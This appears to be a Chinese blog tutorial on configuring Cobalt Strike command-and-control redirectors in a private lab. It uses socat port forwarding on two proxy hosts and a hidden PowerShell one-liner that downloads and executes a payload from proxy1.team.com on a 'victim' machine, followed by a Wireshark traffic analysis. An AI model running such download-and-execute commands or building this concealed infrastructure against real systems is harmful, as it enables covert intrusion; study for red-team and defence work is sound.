内网渗透神器CobaltStrike之重定向服务配置(二)

快来打我* 2023-10-07 21:16 63阅读 0赞

## 重定向服务的概念 ##

"重定向"是一个在CS服务器与目标主机进行网络传输之间的服务器, 不仅能保护CS服务器, 还能增强与目标网络传输的稳定性, 例如某一台重定向服务器倒塌了, 但是CS服务器还是能通过其他重定向服务器与目标网络进行信息传输

## 环境拓扑 ##

*  **域名:** team.com
 *  **Dns服务器:** 192.168.47.137
 *  **CS团队服务器:** 192.168.47.134(cs.team.com)
 *  **重定向服务器1:** 192.168.47.131(proxy1.team.com)
 *  **重定向服务器2:** 192.168.47.140(proxy2.team.com)
 *  **目标主机:** 192.168.47.141

![1][]

## 环境搭建 ##

### 1.在域控为CS服务器及代理服务器配置域名 ###

在域控服务器打开DNS管理器

![1][1 1]

在DNS的正向查找区域新建一个区域, 名为`team.com`, 即相当于申请一个顶级域名

![动画][465827c2d873afa720c1c2d2492c2f09.gif]

为新建的区域增添A记录, 如下图所示步骤依次添加CS服务器及代理服务器

*  CS服务器: 别名为`team`, ip地址为`192.168.47.134`
 *  代理服务器1: 别名为`proxy1`, ip地址为`192.168.47.131`
 *  代理服务器2: 别名为`proxy2`, ip地址为`192.168.47.140`

![2][]

![1][1 2]

### 2.将代理服务器80端口的数据转发到CS服务器80端口上 ###

使用`socat`命令进行端口转发, 若没有此命令需先使用`apt-get install -y socat`命令进行安装, `socat`命令使用语法如下:

socat TCP4-LISTEN:80，fork TCP4:[server ip]:80

> 将本机80端口监听到的数据转发到server服务器上的80端口

在两台代理服务器(ubuntu0和ubuntu1)上输入: `socat TCP4-LISTEN:80,fork TCP4:192.168.47.134:80`

![动画][b9001cdebbbd10668b6ba715d1e6e37e.gif]

## 攻击步骤 ##

### 1.在CS客户端创建监听并生成攻击payload ###

在域内windows7主机登录CS客户端

![3][]

新建http监听80端口, 将代理的服务器域名填写至HTTP Hosts

![3][3 1]

生成Power Shell远程执行代码: `powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://proxy1.team.com:80/a'))"`

![动画][6edba499ba680b43007d436e8115462e.gif]

浏览器访问`http://proxy1.team.com:80/a`和`http://proxy2.team.com:80/a`, 查看是否有返回结果, 若有则表示攻击payload配置成功

![image-20221001230039340][]

通过查看web日志可以查询到访问域名者的详细信息

![image-20221001230512699][]

### 2.受害机执行PowerShell恶意代码 ###

在受害机执行powershell恶意代码: `powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://proxy1.team.com:80/a'))"`后, 受害机在CS客户端界面显示上线

![1][1 3]

## 受害机抓包分析 ##

使用Wireshark抓取HTTP数据包进行分析, 受害机的ip地址为`192.168.47.141`, 它向`192.168.47.140`(proxy2.team.com)发http数据包, 随后`192.168.47.140`向`192.168.47.134`(cs.team.com)发http数据包, 除此之外受害机还向`192.168.47.131`(proxy1.team.com)发了http数据包

![image-20221002004235260][]

[1]: https://img-blog.csdnimg.cn/img_convert/47a1bb17443f00dfe3de97657ebb71f7.png
[1 1]: https://img-blog.csdnimg.cn/img_convert/201ff5334cb837d7b4b066ee838455d4.png
[465827c2d873afa720c1c2d2492c2f09.gif]: https://img-blog.csdnimg.cn/img_convert/465827c2d873afa720c1c2d2492c2f09.gif
[2]: https://img-blog.csdnimg.cn/img_convert/b0d181113d834631a436f05eace2284c.gif
[1 2]: https://img-blog.csdnimg.cn/img_convert/0a611f2e8aaf5267c965a5348f425e24.png
[b9001cdebbbd10668b6ba715d1e6e37e.gif]: https://img-blog.csdnimg.cn/img_convert/b9001cdebbbd10668b6ba715d1e6e37e.gif
[3]: https://img-blog.csdnimg.cn/img_convert/4c4110c1b5b11919ad6fde87012ef201.png
[3 1]: https://img-blog.csdnimg.cn/img_convert/1735c596ba424f7ca85f591cb32217cf.png
[6edba499ba680b43007d436e8115462e.gif]: https://img-blog.csdnimg.cn/img_convert/6edba499ba680b43007d436e8115462e.gif
[image-20221001230039340]: https://img-blog.csdnimg.cn/img_convert/96644433453ef39a0921c4d67712d953.png
[image-20221001230512699]: https://img-blog.csdnimg.cn/img_convert/85b0d266e3d9c19082a1a5928c32116b.png
[1 3]: https://img-blog.csdnimg.cn/img_convert/a635ab727afc41a93033739c5a54d559.png
[image-20221002004235260]: https://img-blog.csdnimg.cn/img_convert/b62046187d297f532e0a84382aaa4658.png